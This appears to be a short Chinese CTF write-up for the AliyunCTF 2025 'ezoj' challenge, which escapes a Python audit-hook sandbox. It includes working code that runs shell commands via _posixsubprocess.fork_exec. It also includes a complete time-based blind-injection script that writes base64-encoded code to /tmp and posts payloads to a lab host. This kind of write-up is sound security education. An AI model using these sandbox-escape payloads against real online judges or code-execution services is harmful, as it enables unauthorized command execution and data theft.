AliyunCTF 2025 部分wp

2025-02-25 约 621 字预计阅读 2 分钟

ezoj

访问 /source 读取源码，大概就是会把 python 代码写到一个新的 py 文件然后进行执行，有个 hook 函数

        
        
        
    
import sys  
import math  
import collections  
import queue  
import heapq  
import bisect  
  
def audit_checker(event,args):  
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:        
    	raise RuntimeError  
sys.addaudithook(audit_checker)

绕过 addaudithook 可以参考这篇文章： https://dummykitty.github.io/python/2023/05/30/pyjail-bypass-07-%E7%BB%95%E8%BF%87-audit-hook.html

最后构造下面命令进行命令执行，

        
import _posixsubprocess
import os
_posixsubprocess.fork_exec([b"/bin/sh","-c", "ls /"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

但是没有执行结果回显，因为给了 time.sleep 可以使用，本来想直接在这个 py 沙箱进行时间盲注的但是无法把结果赋值变量，所以重新写个文件 /tmp/1.py ，再在这个 py 文件进行盲注，构造脚本：

        
        
        
    
import base64  
import requests  
import time  
  
flag=''  
strings = "qwertyuiopasdfghjklzxcvbnm1234567890{}-"  
payload1=f"""  
import _posixsubprocess  
import os  
_posixsubprocess.fork_exec([b"/bin/sh","-c", "python3 /tmp/1.py"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)  
  
"""  
  
for i in range(1, 50):  
    for j in strings:  
        poc1=f"""import time  
import os  
if os.popen('whoami').read({i})[{i}-1] == "{j}":  
    time.sleep(2)else:  
    print("")    """        
        poc2=base64.b64encode(poc1.encode('utf-8')).decode()  
        payload2 = f"""  
import _posixsubprocess  
import os  
_posixsubprocess.fork_exec([b"/bin/sh","-c", "echo '{poc2}'|base64 -d>/tmp/1.py"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)  
"""  
  
        resp1 = requests.post(  
                "http://172.29.230.100:8089/api/submit",  
                json={"problem_id": "0", "code": payload2},  
            )  
        start_time = time.time()  
        resp2 = requests.post(  
            "http://172.29.230.100:8089/api/submit",  
            json={"problem_id": "0", "code": payload1},  
        )  
  
        end_time = time.time()  # 记录请求结束时间  
        delay = end_time - start_time  # 计算延迟时间  
  
  
        if delay > 2:  
            flag += j  
            print(flag)  
            break  
    else:  
        flag += "\n"  
        break